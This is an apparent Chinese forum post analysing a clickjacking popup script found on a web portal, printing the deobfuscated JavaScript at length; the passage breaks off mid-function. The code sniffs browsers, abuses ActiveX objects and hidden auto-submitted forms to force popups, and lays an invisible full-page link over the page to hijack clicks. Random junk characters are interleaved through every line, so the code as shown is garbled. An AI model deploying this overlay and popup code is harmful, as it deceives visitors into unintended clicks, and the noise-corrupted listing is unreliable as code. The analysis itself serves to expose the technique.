天星网ClickJacking点击劫持分析
! p& k, q" U& G' y- C3 U- mhttp://www.21tx.com/ 天星网 * Z: S( b% R+ y, l0 ]& m q
我得联系联系作者 ' H% l" ?4 S a9 d
刚好打开这个站,发现第一次点击会弹窗,然后就不会,清除下COOKIE,又继续了,然后查看源代码,也没什么奇葩的。
* N& ?' K. A* S) m$ |+ U1 |http://www.lxting.com/script/popup/v1_min.js
& u- O5 _' {6 z- F4 Y M. x7 L9 }* e ~: O
这个是锁定到底JS脚本,7 W) P$ \: Q( t
解密后的代码- (function() {
) l7 w4 ?! W5 ]# G+ \* x7 A - var aa_url = window.ytpp_url;
" h, M6 Z1 F3 E, l - var ua = navigator.userAgent;
6 \5 n$ u. F5 S1 _$ i - var form_div = document.createElement('div'); 0 S0 u& f$ U6 E6 v, F
- var form_pd = 0;
/ T; F/ n6 M" D - var browser = {
/ W' h, ~7 \1 W- H - ie: /msie/i.test(ua), - \0 ?7 V3 h0 o+ Q4 P! @7 W
- ie6: /msie 6/i.test(ua), 9 P, q4 ^3 }* X4 M. r
- ie7: /msie 7/i.test(ua), ' P) T4 J: R9 _
- ie8: /msie 8/i.test(ua),
& A, n% R* A. A* ~ - ie9: /msie 9/i.test(ua), 8 z3 d5 p1 g* Z0 Q/ J v
- 360 : /360se/i.test(ua), % h% d% o; Q. y
- sogou: /;?se.+?MetaSr/i.test(ua),
( I. q. o) X& g; B9 d( u - maxthon: /Maxthon/i.test(ua),
% X) c# i1 ?. r9 M- c - tt: /TencentTraveler/i.test(ua),
$ R$ Q2 T( X- @# v5 Y5 W - ff: /firefox/i.test(ua),
8 w# T2 u8 |, S" j! B - webkit: /AppleWebKit/i.test(ua),
7 H9 i. c6 L7 A" v - opera: /Opera/i.test(ua),
1 Y) s% o: f; m1 q' O0 p - qqbrowser: /QQBrowser/i.test(ua), 9 Q# @6 Z6 J5 G; i- Z T
- cr: /chrome/i.test(ua),
: M/ |! B8 } K' b7 M - gg: window.chrome,
" T, B, ^0 @$ a' a. I/ b, M - theworld: /Theworld/i.test(ua) ; w5 U0 K0 i \( @3 J3 r' L w. b
- }; " V% s8 h( B5 K# C* Q
- var _setting = "";
! B! X$ D7 E8 C: J. y: l/ o. C - var _ct = 0;
Q/ @( x7 I) q - var _le = 0; : a& ]' H$ t5 c: b$ F
- var _pd = 1; ( S- l4 a4 h. \% k+ z4 k5 n2 n3 m) Q
- var _pd2 = 0; 8 v" |' |$ P7 |' n, t
- var _pc = 1; 9 y. P& G/ d0 H# T4 G! W" H, i
- var _pc2 = 1; . K" j2 J4 C8 j. y J9 T2 D
- var _pco = 0; * W$ A* l' R$ N" |
- var _pta = 0;
; Q2 l' \: ^' w% [( H2 I - var _ptb = 0;
# f$ d1 Y, w1 k) j - var _pt2a = 0; . X$ \( F1 l3 H5 L3 J( Z/ r
- var _pt2b = 0; ( k U3 l k7 |7 U0 x
- var _pt3a = 0; 3 {+ x/ W3 F3 o1 v8 l4 O6 ?
- var _pt3b = 0; - p5 r( r( p7 Z, s8 R
- var _pt4a = 0; 1 I, m2 x- S$ F; |# W$ v( F& @
- var _pt4b = 0;
1 |/ g2 `) D" v* I6 H j - var _pt5a = 0; - h) a2 K8 m( C+ G- R9 G
- var _pt5b = 0; 8 M' J) r9 r$ N& D; u
- var _pt6a = 0; + H% {" s$ S( K. F( L
- var _pt6b = 0; * L9 o- a0 K& h3 ^9 Z J
- var _pt7a = 0; * s3 Z/ k0 Y. F2 ~! d x
- var _pt7b = 0;
. c$ `( |; d. J - var _pt8a = 0; 6 ~; k0 H$ _0 x7 c1 ~7 }, P
- var _pt8b = 0;
- Z) z& H: o3 K1 p9 P - var _pt9a = 0;
, m1 U$ H# r' ]1 x; K - var _pt9b = 0;
3 m7 s, Q/ K8 f- O/ J - var _pt10a = 0; ! G) V: P0 o } w9 ^- ^
- var _pt10b = 0;
* u! l2 g7 r0 Z M: L; S8 P/ O8 _& D3 ` - var _po = 0; . U7 w& ^6 v, w7 t3 j J9 F
- var _poo = 0; 5 k9 n6 w8 a4 Q/ Q
- var ckn, ckt;
: n1 d" `% T4 ^ - var ads = 0;
y$ {, {$ E. D% H9 h' ]) x1 ]* \ - function b(w) {
2 x% m6 o6 L# |- V - var s = w + "="; 4 L/ _1 @4 J4 d3 P" A& T6 G. l
- var r = ""; $ q: ?0 Y! E2 O7 G7 b+ x* @
- var o = 0;
' X6 W8 G& ] @1 S" T" z1 w6 G, c( @ - var d = 0; 1 n7 I, {5 \0 \4 B8 \
- var p = document.cookie;
4 L8 x3 h/ t! L, c0 r% @ - if (document.cookie.length > 0) { 1 }; U% ~/ h, F9 m: p4 O* z& R
- o = document.cookie.indexOf(s); # O* G5 q7 m$ i8 ]1 \
- if (o != -1) { 7 H4 d2 j, p( I3 } `* ^% F
- o += s.length; % S7 o, k8 \! @- ?
- d = document.cookie.indexOf(";", o); 7 T5 u% O& F/ f/ y/ {! e& w
- if (d == -1) d = document.cookie.length;
- I: X( p2 d: |3 B8 B# l8 b x% S. f5 ? - r = unescape(document.cookie.substring(o, d)) 6 I' e3 [8 ^0 B7 v; I
- } : m" `2 i. k; X2 e4 y/ D
- }
# Z- v: g* q3 o* D8 ~ - return r
0 A# `# X# e4 o: E3 C& f* } - };
8 H( g! z6 @; a! Y - function p(w, p, v) { . L5 i# Z. `( D. f' M
- var t = 30; 7 Q& I. A" e9 N0 O, j& S T
- try {
7 x [0 t* }# B8 i+ V W6 g' K! q) X - t = parseFloat(p) * 1 : r7 H7 M; r: K2 ?* T4 c* j; Q7 [* F
- } catch(e) {
/ N$ d# T$ v, h) x( {( L# ? - t = 30 + ]/ H# }6 w/ u% |6 \* r, I: C
- }
/ d1 ]6 B6 T I - if (isNaN(t)) t = 30;
# y7 T( Q9 e3 P7 s4 R0 G - var then = new Date(); $ O h7 ?2 A/ C6 U/ d j6 I
- then.setTime(then.getTime() + t * 60 * 1000); * J0 k5 A* x4 n! v7 Y; u
- document.cookie = w + '=' + v + ';expires=' + then.toGMTString() + ';path=/;'. j) H6 _1 K! O( Q3 r% b" J! P
- };
. L4 p! h4 q1 g N - function init() {
1 Q1 z1 M+ Q6 c% {4 S. T - _setting = ytpp_sti; ) ~$ z# K9 m/ c2 K, m3 Q4 a
- if (getp(_setting, "CT")) {
/ |' j' C: [! L9 ?( U- y - _ct = getp(_setting, "CT") : c8 ^" ^4 H L) m* @4 @
- } ( _+ p( n2 Y$ \0 p- L/ r9 Y8 y
- if (getp(_setting, "LE")) { ) G7 ?: U9 V# m4 _) L$ S
- _le = getp(_setting, "LE")
8 \9 H6 [8 a" @- I- @! s- U& e - }
, h8 }$ Y+ }8 }1 c* i - if (getp(_setting, "PD2")) { , B/ z' a+ E+ }3 V C ^4 r5 W
- _pd2 = getp(_setting, "PD2")
, ~& u, d% O" S6 N1 J1 x - }
3 \, ]" Z- s: b. ` - if (getp(_setting, "PC2")) { # p5 h; ^5 m) N" } d
- _pc2 = getp(_setting, "PC2") & s1 [ s( j4 o6 [7 L4 y2 M
- } + b: I% @& f; K! V
- if (getp(_setting, "PCO")) {
0 q6 ?3 O+ ^, d& a. i - _pco = getp(_setting, "PCO") ) c/ W) l0 ~9 `
- }
; T. X+ r" [( E5 W k5 o D - for (var i = 1; i <= 10; i++) { ( W* k2 l# g+ p/ L
- var n = i == 1 ? "": i;
. X$ d: D* N3 k( z7 N! @ - if (getp(_setting, "PT" + n)) {
: h7 a+ {; n+ k6 E+ l - eval("var _pt" + n + " = getp(_setting, 'PT" + n + "').split(',');"); / g1 A. L' ~0 X, H) I# D5 `
- eval("_pt" + n + "a = _pt" + n + "[0];"); 6 z5 T# v! E5 T" A+ I
- eval("_pt" + n + "b = _pt" + n + "[1];") & c; r( }1 G& G% L9 q9 X6 ?
- } # x7 {5 ?; A+ Q# ?
- }
" Z8 T# g3 ^( N# j7 k - if (getp(_setting, "PO")) {
! S; W$ U4 {, D; o/ V - _po = getp(_setting, "PO") 9 ^) B$ W: [: a
- } . s: J8 h/ [5 G
- if (getp(_setting, "POO")) {
+ X6 O5 }3 y# N - _poo = getp(_setting, "POO") 3 v. n7 l& N, k- t: x X
- }
. w: X% e, F& B, I. h5 Y+ Q - if (_pco == 1 || _poo == 1) { # j1 A9 C: C" m7 \6 ~& j; _
- if (_poo == 1) { " X4 w3 Z1 x4 J% @
- _pco = 0
. k! E. {/ C5 @: i - } else {
: a. o, j8 m2 C/ s: B: U - _poo = 0
, u' W! E$ j. ^/ `( G - }
, x" X8 J- ]3 G, ]; G - _pd = _pd2 = _pc = _pc2 = _po = _pta = _ptb = 0;
6 ]( q z8 v+ E( P5 s - for (var i = 2; i <= 10; i++) { - J; e5 T7 |. {5 X
- eval("_pt" + i + "a = _pt" + i + "b = 0;") # L( n( B6 Y' Y9 H" v* ~; |# E
- } 3 ` V- m! g/ Y |% }3 O( N
- }
- r P& ^" N0 Q3 R: M - }; 7 x* t# i# x, w2 i4 U
- function getp(s, p) {
! `: i+ |, ?5 f. ^. h/ q - var i = s.indexOf(p + ":");
% z6 L$ e" X% H3 f- J) f - if (i >= 0) { 5 X- s6 u( [ Z2 B! L
- return s.substr(i + p.length + 1, s.substr(i).indexOf(";") - p.length - 1)
" @5 ]* w D0 j9 R N - } + V3 R+ L: n2 S# h* n
- };
# t h9 {) b7 j, \/ v - function event(e, event, func, act) { ; S; N1 T7 R( n
- if (browser.ie) e[act === undefined ? 'attachEvent': 'detachEvent']('on' + event, func);
3 E6 f' l! I" g9 v7 d - else e[act === undefined ? 'addEventListener': 'removeEventListener'](event, func, false) ) \5 `, K3 m# H- y& ^ M
- } $ ?. J+ L% {: j0 n R* ^$ }
- function pop(url, param) { 3 X- p2 J; N3 y/ [7 o4 Q: J0 l S
- if (!document.body) { 8 G1 J$ {6 D+ g, H: ^* S9 q$ Z
- return setTimeout(function() {
" d) K. E6 b0 u$ y$ j' w - pop(url, param) 2 ~7 r) Q3 T: i# _
- },
) q2 _, l4 @# H% n g) E" I- E, d - 13)
3 a6 v* s; \5 T; A - }
: h( g* L! l. ~ - try {
0 [, l3 N4 q: Z7 ]8 U/ r - if (browser['cr'] && browser['gg']) {
+ F8 Q/ H0 Z9 I: s7 Y7 z3 v - try { ( Z; h- B$ y" N1 C
- hrefopen(url)
. Y+ O" v& z' L4 ^ O - } catch(e) {
" v% X# Q Y, j: @ - a_pop(url)
3 m8 ]) }; S8 t+ b - } " H# K" h. O1 e
- } else if (browser['webkit'] && browser['maxthon']) { f; ?/ o- ~( M4 f6 F
- if (!func(url)) { w# k, Y9 S9 p2 L( [2 o" z8 h/ O
- try {
1 O6 ^" y v- X& C - form_pop(url); " |) P6 }* ~9 G0 M0 {; p3 [3 f
- a_pop(url)
5 g5 f% T+ ]- l0 H+ m - } catch(e) {}
% t$ r' B" L0 Q, I# [ - }
6 }( p$ l5 U; x8 |' ~ - } else if (browser['tt']) { ( u/ [+ K+ X( O) j' y$ m* Z; c
- try {
0 [3 ^# @: h- G) b* } - object_pop(url) ( W! B8 e; q- T
- } catch(e) {
( i, O* k) W5 i: x( c3 z3 D S - a_pop(url)
8 ` c9 D( f+ a! s# @4 z/ _( @, J - }
# D0 Y5 _! U# x' e) ?6 E3 f* | - } else if (browser['sogou']) { u7 q @, A+ H$ a u
- if (!func(url)) {
( _. S. X& L" l [ - try {
4 y( |% N# [; y8 Q6 z - a_pop(url)
% q& n3 v8 r+ R8 a - } catch(e) {} 8 C3 y0 ?& }4 q2 M: L
- } & N8 h! i# B& `- W+ H
- } else if (browser['webkit'] && browser['qqbrowser']) { ' a3 a) C) ~0 a- K4 P$ Z
- if (!func(url)) {
& k) `5 Z* L8 f" d - try {
* O; \9 \9 `% N1 r - form_pop(url) * O* e8 C' g$ q+ ?# L) A0 n8 E6 {+ p: w
- } catch(e) { : M9 S8 P/ u1 |8 F; _6 P
- click_pop(url)
. A8 L: a+ d5 V' ?6 j( b% `! | - } 8 M4 h7 n% ^1 m$ r& T
- } ! R ?7 t2 J% l7 {6 B6 E+ J1 }
- } else if (browser['webkit'] || browser['opera']) { . F6 ~7 L0 ]9 `0 v4 l- p
- try {
0 A( x2 y3 m1 ?! ]1 {! G - form_pop(url); ) j6 _5 D4 Y& U1 C4 P
- a_pop(url) % L Z" t0 g- `- m
- } catch(e) {} ! S6 d/ e/ W3 {0 Y
- } else if (browser['theworld'] && browser.ie6) {
& m9 E" }, j3 a9 z# y+ m- Y1 j- R ` - if (!object_pop2(url)) {
- j6 G) @8 s8 a; { - a_pop(url) 7 i5 B! a8 R- ~4 E1 C+ z
- }
; e( Q @; h8 g" j, z) o - } else if (browser['theworld'] && browser.ie8) { ' ~, G7 \! i5 B9 e$ [0 E5 I" J; S
- if (!func(url)) { 5 N9 e ]* j$ T% B
- try { 9 P% I# W: T# `+ H) ?+ b
- object_pop(url) 3 h' t( i' _& _* n
- } catch(e) { * t# W* c( l9 d1 ]# M7 I# W$ J
- click_pop(url) 0 E' M4 ~' a& J& ?7 K& o0 b# |& N
- }
5 y6 w* x, [& a2 W3 D; a; t0 f# @: z; ] - } & A6 W) V" Y/ S: R( b
- } else if (browser.ie6) {
9 G- k4 \% h( X, Z - if (!func(url)) { / B1 [3 H+ F% ^$ F+ u4 q1 T
- object_pop2(url)
7 f: ^+ t Z) f6 _" R9 ~ - } 8 T% e7 p; e5 p$ ]+ W
- } else if (browser.ie8) { 8 m w8 W( y7 G" n- O3 I
- if (!func(url)) { 5 N& Y$ W2 t' F2 [# u- e$ L
- try {
9 `+ k ^# {+ c q* {8 ] - object_pop(url) / m& ^+ V$ X6 M2 G' N& o( \
- } catch(e) { 6 L2 }! C! O/ p* O9 f9 e; d6 A
- document.onclick = function() {
9 i3 z1 V% C8 d0 s0 E3 P% ` - func(url);
4 a- d+ P1 W$ M - document.onclick = null- Z& q6 v7 B L( c+ z
- } % Q. a- |% f& \* K' Z/ J
- } ) f2 w$ f* o6 E( _7 t
- } + A* N# K7 w* A) l! J2 B
- } else if (browser['ie']) { 0 x' B; O$ @8 W9 b0 e
- try {
! S- T3 f# u8 l4 o/ a% Y0 P" [ - object_pop(url)
3 I' j J/ u6 L/ G8 a% p) e3 o - } catch(e) {
) T9 G$ y/ K& k7 E* c6 l2 H& X - click_pop(url)
) [ x/ b2 {8 J; G9 w - }
# |8 n0 {: `+ w, T - } else if (browser['ff']) {
( C g. v" e6 p( n$ x8 Z5 {* P* | - if (!func(url)) {
# X( l6 ?5 m* V% c% N' q: K - click_pop(url) # J, S+ P" l9 R, h
- } ' C& d$ C% W" }. U7 W8 u+ @, b
- } else { 6 w I2 H, Y. i5 I: L
- if (!func(url)) { * C; g5 O. b& u4 [$ v
- click_pop(url)
$ {' a1 Z" S Y/ E. w; w8 s - } 9 m. n. m% [1 d) w
- } ! ]. L; x+ p w4 P) w
- } catch(e) {
) T5 F i( J. A0 k/ q# k0 S - if (browser.ie7 || browser.ie8 || browser.ie9 || browser['qqbrowser']) {
% y4 D$ K! R) k% s K$ T+ I - click_pop(url)
1 n4 I" _: r9 t9 i% k) | - } else {
( [0 P5 Q( {1 f2 M5 n - a_pop(url)
5 \& `$ Y' B! @% \* p. _3 J& e - } $ ?# ]0 W! `: P) \5 ~) Y
- }
: l. r- k9 c4 A; Q' ~, P - } 7 Q0 I3 h2 U( ~; @
- function object_pop(url, param) { 1 D; Y& O# a" E' b+ H) X/ y
- var object = document.createElement('object');
; ^% o) _8 N7 m" v - object.setAttribute('classid', 'CLSID:6BF52A52-394A-11D3-B153-00C04F79FAA6');
2 ~8 f5 p; D& s2 Y+ k B0 h - object.style.cssText = 'position:absolute;left:1px;top:1px;width:1px;height:1px;';
6 G. d! e/ k* u - append(object); & I5 t, X. l( O2 ^" [
- object.launchURL(url);
; N# ?: t& P2 v0 g - ads++; r# A: n( o/ N/ L$ {! }
- p(ckn, ckt, ads)
/ ^+ ~6 k) w8 p* x7 V - }
1 J/ v1 W' X1 ~8 j+ a - function object_pop2(url, param) {
6 @1 b! B* V& M - var object2 = document.createElement('object'); # |' L$ X. d8 c0 _
- object2.setAttribute('classid', 'clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A'); 4 v w# S$ T* [- m* w; m M
- object2.style.cssText = 'position:absolute;left:1px;top:1px;width:1px;height:1px;';
' N0 J7 c( h% f! }0 j9 p* r - append(object2); ; b" w9 D% B1 h4 x+ l4 h! c
- for (var i in object2) { 9 A" W) O/ Q+ t$ ~$ |! y
- try { (function(o) {})(object2[i])
1 _2 K( t8 p) m x' C5 ]. F - } catch(e) {} ! b4 X6 H0 ?1 u7 }: e1 e
- }
' `% L- G6 t( O2 x9 u - setTimeout(function() { % `" ~ V6 I, ^* j. `; Z& O
- object2.DOM.Script.open(url, '_blank', '')
8 s- a6 D9 V7 s( D - },
% y" U9 y* G8 [* m9 S- h" \ - 500);
5 g+ x3 F0 e9 t& k# F& c3 E. v9 S - ads++; g" |; @8 g# K4 k+ @2 Z: i9 G
- p(ckn, ckt, ads) . \) F7 m3 {0 Y! b. Q5 b( [6 Y0 J( q# v
- } ) E4 H# |6 U6 q5 `2 T/ P9 b
- function append(e) {
- k ~3 [9 j- Y9 l: l - for (var t in {
# R8 A' ~' S1 J7 s - body: 1 6 F3 A% u: a( V) e6 m% j% D+ K
- }) { 0 m: u3 }% V; \2 Z# Q* k
- var ele = document.getElementsByTagName(t); ' e8 p+ N7 o5 [- ?
- for (var i = 0; i < ele.length; i++) { 3 J0 s& P- Y s2 b: i; o2 ^
- ele[i].insertBefore(e, ele[i].firstChild); * x U& O$ [5 l8 S+ w" g9 J
- return2 \% B: W. X$ E& N, E4 s/ k
- } ' X& u0 _" h+ _. C8 q
- } 5 O7 I5 p: U! O; O
- }
2 e7 q( t6 n% h+ @ - function hrefopen(url) {
, `8 B n- ]$ _ - try { * _' s/ @' d/ M$ c' p8 N8 w, \
- var c = document.createElement("a");
% W' s1 k. Z8 u6 u) e5 _: x" l - c.setAttribute("href", url); 7 @# d( K. Z+ o
- c.setAttribute("target", "_blank");
- A* P- S9 p: ] - c.setAttribute("style", "display:none;");
1 r8 n4 F) \* C! H8 U- B - var b = document.createEvent("MouseEvents");
9 Z4 E& b$ U, T( f - b.initMouseEvent("click", false, false, window, 0, 0, 0, 0, 0, true, false, false, false, 0, null); $ k/ c$ R5 m( L" e9 v
- c.dispatchEvent(b); % j4 r6 c% f5 R
- ads++;
/ Y" P2 M' ?( N% e% M9 Q Z8 x# U. s - p(ckn, ckt, ads); 2 @# c8 v, F0 s9 v) a
- return true9 g. O) l$ K- N5 D' |! P, h! |
- } catch(q) { 2 Q" f% @: W- n. ?, L) Q
- return false0 `9 q' T& S# |5 w/ w) ~2 f+ n
- } ! T* `9 O) `$ @) N# i
- } 1 s$ Q5 C) H, K# g( ?* o' E4 j
- function form_pop(url) {
: i2 C( b' \. k3 p- N - form_div.setAttribute('id', '__unionsky_push_d_object_box__'); ( ]& s' j+ |7 ^) R6 G4 {' g
- form_div.setAttribute('style', 'display:none');
' z. F B c0 ]7 M6 R" L+ c6 W, o. y! o - var form = document.createElement('form');
% J3 E B3 Z2 _1 C7 j0 F: c - form.setAttribute('action', aa_url);
/ ?( Y* s# q, E8 f6 H - form.setAttribute('method', 'post');
/ }9 ~1 V( j% k/ W - form.setAttribute('name', '__unionsky_push_d_form_box__');
$ f: y0 t1 M, k3 F0 _5 K( A) s - form.setAttribute('target', '_blank'); 4 Y* L7 H+ _- f! H* p8 ~
- form.setAttribute('style', 'display:none');
% f* J8 Z& h" O$ q- R0 i# y - var sinput = document.createElement('input');
) e3 e/ \$ Y7 J8 b0 C8 x1 L0 ` - sinput.setAttribute('style', 'display:none');
' l, m/ R/ o! Y - sinput.setAttribute('type', 'submit'); 1 f; _/ V: y* E7 a1 G: c$ t
- sinput.setAttribute('id', '_sumit_2app');
3 a1 ~3 G! c: {: F - form.appendChild(sinput); 9 {+ F* D. b5 a- ~$ X
- form_div.appendChild(form);
$ H1 n; v9 `8 o - append(form_div); . r4 Z9 o4 C+ K8 ]0 X; @ W: v
- var unionsky_from = document.forms["__unionsky_push_d_form_box__"]; # t* n# O1 B/ C8 {) O
- try {
. e6 z7 J3 e0 s% F" M* k - document.getElementById("_sumit_2app").click() 7 h% x2 S' f8 }/ o( E* Y1 h
- } catch(e) { ( O7 k7 o: @3 y: w
- event(document, 'keyup', " K" C- D8 S9 b Z4 F. C1 U3 R
- function(e) {
, R4 }9 o: e. u. v k. M - if (document.getElementById('__unionsky_push_d_object_box__') == null) { ' I$ S1 S% r3 v9 M8 U
- return
' L0 x' [* w [) e. Y0 y& F: i" ^/ t - }; ; d3 ~. w' C4 C$ M
- e = e || window.event; + U( S7 y* I! ~
- e.canceBubble = true; ; E) r0 y3 @+ Y0 B. [
- event(document, 'keyup', arguments.callee, true); o5 `3 e7 K4 v$ H$ U5 x4 }' w3 z
- form_pd = 1; ( v1 Y0 Z/ D% J: r% w
- unionsky_from.submit() % C. I' R5 Z* Z5 j# A0 B5 J3 {
- }) 3 l. C( f- E" |# A9 L! Q
- } # f! L5 _' E3 C( V% v: d8 k& r
- }; 4 O' G5 u9 R( F( O9 B$ o; p
- function click_pop(url, param) { & F5 c" ?4 y, u: v
- event(document, 'mouseup',
1 F3 }! g# c! l [% t4 V - function(e) {
, ?0 A6 n, W7 a/ z - e = e || window.event; . c% p. Z: F7 [5 A6 j
- e.canceBubble = true;
h, u% Z1 q' E8 _% \) S - event(document, 'mouseup', arguments.callee, true);
0 I' F6 X$ m' d2 p - func(url, param); ' M. e& @3 ]3 H" T9 x- m1 O5 ?
- ads++; \: s; m' X% b3 h
- p(ckn, ckt, ads) $ h! P; I: s u& U1 j
- }) 6 T, y5 c8 c6 M2 h6 s! F. j
- };
; x# N: a0 j- o* R Q" n# ]3 i - function a_pop(url) { + R) x; ~5 l3 O. i! Y1 n( G
- if (ytpp_plid == 166028) {
7 P9 U- S; M& b1 } - return d* P4 L7 N! \" Q8 b# `. T! m: C
- } ) P4 f# _. N: q1 m. p3 q% @
- if (!document.body) {
4 [, U% a* \! j0 W! m$ C - return setTimeout(function() {
# ~ g) d7 [' g! F - a_pop(url) # C D3 n3 c; x+ I. l" E
- }, ! y( P8 d [# b4 D% `8 C
- 13)
! i6 y1 y: j Y% r& E - }
; N# t- \( @, d - var a = document.createElement("a");
7 Z B) ?4 p) r, @$ n6 W9 A3 q - a.href = url; " V! w3 K% r9 w
- a.target = "_blank";
, c ?4 d: n1 {) Z" F L/ o" T) Q( w7 \ - var div = document.createElement('div'); ' a* i* Q+ r' \! w- {
- div.style.backgroundColor = '#fff';
' A$ }& b O# `0 c - a.appendChild(div); ; `- p& s% T: X: d( ?6 p
- append(a); ; b) m2 V( ]& E. V) e
- var as = a.style;
" A( d! D/ K/ ^' y2 t% @ - as.position = "absolute";
4 H# ?0 X+ ^. e9 s- ? - as.zIndex = '2147483647'; 7 P) w' J. K: w) _5 N
- as.display = "block"; , f$ T' D2 w5 T9 x
- as.top = "0px";
0 t, a' N, Q, b$ [. {" w: F: z - as.left = "0px";
' N) ]- ^4 S2 _) Q( { - as.cursor = 'default';
$ ?9 {) m5 v, v! g7 g - as.opacity = "0"; * h# S: V L i6 _8 h& z" h: z9 C
- as.filter = "alpha(opacity:0)";
6 g; s' I a# X. M( ~0 K4 N' ]7 j: z - var m = setInterval(function() { , V! ]2 n# l9 Z0 }' x2 F; e
- if (form_pd == 1) { + g4 }/ q) m6 K5 ]5 q
- a.parentNode.removeChild(a); 0 k6 ]: x1 v6 v7 P* |& |8 B
- clearInterval(m);
; ^! O/ j, l; _ D6 V - return
: p$ \0 A9 ]& b! ], E/ ^, q8 T - }
- w. R0 }3 Z& s7 z/ T - a.style.zIndex = '2147483647'; + p: N K6 ~8 F0 I% m' m
- var d = (document.compatMode.toLowerCase() == 'css1compat') ? document.documentElement: document.body; ) Z6 i& I0 j' y2 N
- a.style.top = Math.max(document.documentElement.scrollTop, document.body.scrollTop) + 'px';
r7 V" S& z: z- o6 G v" f- W - div.style.width = Math.min(d.clientWidth, d.scrollWidth) + 'px'; ! n- J1 V: z& B2 ^3 ~5 W
- div.style.height = d.clientHeight + 'px';
9 [2 b% Q* j# S - if (browser['ie']) { : F5 ], g/ @+ I/ f4 `
- try { # F6 N0 N' s( `
- var divs = document.body.childNodes;
' \( f1 z9 e/ U - for (var i = 0; i < divs.length; i++) {
3 ?6 \7 J* }1 |! h M; a - if (!divs[i]['style']) {
& C; B% d3 o% R- w7 p& `- R - continue0 {3 L- f7 g' A t% z; I( o
- }
% I+ p& R$ J! N- V) P - var _i = parseInt(divs[i].style.zIndex); ! P$ Q1 i2 Y! q
- if (_i && divs[i] != a && _i == 2147483647) {
5 {6 V6 V3 N W- x- D% Z; f - divs[i].style.zIndex = _i - 1 ; v, a6 X# Y) T9 B
- } ! n# _5 M, A6 s# t: P
- }
3 M; w# n1 v% ^" c3 N - a.style.zIndex = '2147483647'
, E( k- u5 x9 l4 r7 ^ - } catch(e) {}
/ t4 j2 h( p: R" u8 g) l - }
: |+ y4 G% ]1 d3 s6 F* V3 r) F - }, , Z. I, t; a2 E, M8 b# C$ D+ ^
- 120); . i, c; W5 X" |* _
- a.onclick = function(e) {
- E7 S7 y3 x3 q* \) A n5 j& w - if (document.getElementById('__unionsky_push_d_object_box__') != null) {
* z, n }. O; X - form_div.parentNode.removeChild(form_div) 2 ^) ?( w4 ]) `8 h/ A) ?/ k
- } + A" V$ c& e' T* P
- e = e || window.event; S7 W) t0 u3 `8 n$ v
- e.cancelBubble = true;
" }! M. {- \2 ?' _9 e8 i - setTimeout(function() {
, D# s: s- F) e, U, U' D. @7 Y6 H - a.parentNode.removeChild(a)
2 f% |" l0 W- K+ ~/ p; x1 F7 | - }, 7 G+ O8 e; G j, M! m9 k
- 200); : A: |: A4 U: z( n; `
- clearInterval(m); ( k, e$ g: X$ p( v
- ads++; 8 y, l9 ^7 @* `
- p(ckn, ckt, ads) , {4 b0 k5 m% O' Z
- }; . `2 E" Y& @& t1 m( V
- event(a, 'mouseup', 2 s2 g. V P" ^" w! A7 x
- function(e) {
1 p8 I' a1 m3 G$ h5 z( Y - e = e || window.event;
4 T7 ?9 C) C L; Q0 o# ? - e.cancelBubble = true5 E- G* t' k$ U
- }) 1 {4 g7 @& H9 M: [0 x7 C
- } ) T( G) s$ s' B, v# E
- function func(url, param) {
* k: W9 N/ |/ ?7 u- A( g' F. F - var f = window[String.fromCharCode(111, 112, 101, 110)]; , N% C5 j+ r% p, {) R
- var w = f(url, '_blank', 'left=0,top=0,toolbar=yes,location=yes,status=yes,menubar=yes,scrollbars=yes,resizable=yes,width=' + screen.width + ',height=' + screen.height); - u4 W' q/ t& W- s
- if (w) {
; F4 i7 i9 l3 A( y; R3 l - ads++; 6 v' }; x$ y- [8 | h
- p(ckn, ckt, ads)
8 C& [4 @5 ]0 \- X% g# @ - }; 3 u A, `9 \6 D4 C3 f
- return w
$ Y P" }( r8 t7 n# d1 p; n* i - }
2 _& A1 J h l* Q* [ - function fstart(url) { 7 K5 Z: K( F$ L; F
- init();
- X2 ]8 m7 k8 a' j' y8 o1 _5 Y - if (_ct >= 0) { , E# w E& H! _* @- D6 ?! ]
- ckn = "YITIAN_NUM";
, t5 d5 a+ p# N6 \6 A, v( c - ckt = _ct ' B0 `# u: M* U6 R3 p
- } else {
0 ^3 E5 t9 |0 _$ s* W3 m - ckn = "YITIAN_ALL"; * ^* X3 i: F; w* Y2 }+ R% @0 k5 p" z# ^
- ckt = Math.abs(_ct) # k/ \$ K% N# C4 \0 d3 ~% e) Z
- }
: x1 d( n' b& D0 r; L& t( d - if (ckt > 0) {
4 y, q4 H H& A7 H! w - if (b(ckn)) { 4 b9 ]5 z! n" D. X: I
- try {
2 K1 X7 X, n! k6 S, l - ads = parseFloat(b(ckn)) / m' o; B. g1 H" U
- } catch(q) {} 2 k1 Z- U2 r$ h7 W( h& B+ @, f
- } 3 e- j; A. {2 l7 Y6 F! a$ w$ `
- } 3 T/ Q* R. @8 k% n3 q% M
- if ((ads > 0 && ckn == 'YITIAN_ALL') || ads >= ytpp_ads) {
( \- I; z5 S+ t - return
' h W M, F3 H - } else { + \/ x$ Q, Q; S: s% F
- if (_le > 0) { / Q( z% l7 Z# H& W% \6 j, x/ ^1 Q
- setTimeout(go(url), _le * 1000)
& t5 ]4 l+ k* k" X! z% h. p2 ^ - } else { : K% E! {7 E x6 ]3 h" W) y; [& a, _
- go(url)
4 H0 p0 u) b3 @* v - } - t0 W5 D. L, H% m0 B) ~
- } 2 L% Y3 F1 s% C3 {
- } ' N% U7 ?/ K2 j/ @; O( B, h* q
- function go(url) { 9 ]( ?/ @% }4 I& \; I7 b2 u4 _
- if (_poo == 1) {
0 z3 s4 E3 f( } - try {
( }1 `. K& }% K2 w# R7 E. j# R& q9 e - func(url) 0 r7 e9 G" |: a7 B
- } catch(q) {} 0 z: ^5 _% X7 F8 J9 e
- } else if (_pco == 1) { . n9 ]8 s/ [/ s: ~! B/ A0 G# @7 W
- a_pop(url)
. D( o' c- U5 q3 b( } - } else {
: p+ g1 e3 a2 v7 b - if (_pd == 1) {
7 O4 J3 z0 z+ ~7 A5 Y) c1 J! |. Z - setTimeout(function() { % K; u4 l* A! B
- pop(url, { - Q! W/ a# R& H `( n) w) ?
- a: 1, , j- j" Z V. B8 U0 U
- b: 2 # o4 f/ R% t% a9 ^8 @( O# {
- })
, o/ k: Y% i4 n8 V# P# o& E" C3 b' g - },
' E" h- s' G0 l4 F5 B - 300) ) M5 Z! R) \/ b) d
- } 2 @1 w4 U, D _/ n0 ?/ D9 W9 f$ c. S, A
- if (_pd2 > Math.random()) {
) M3 \0 q. F' H( S0 W/ T - setTimeout(function() { z) w- k; F* `3 d( k0 V
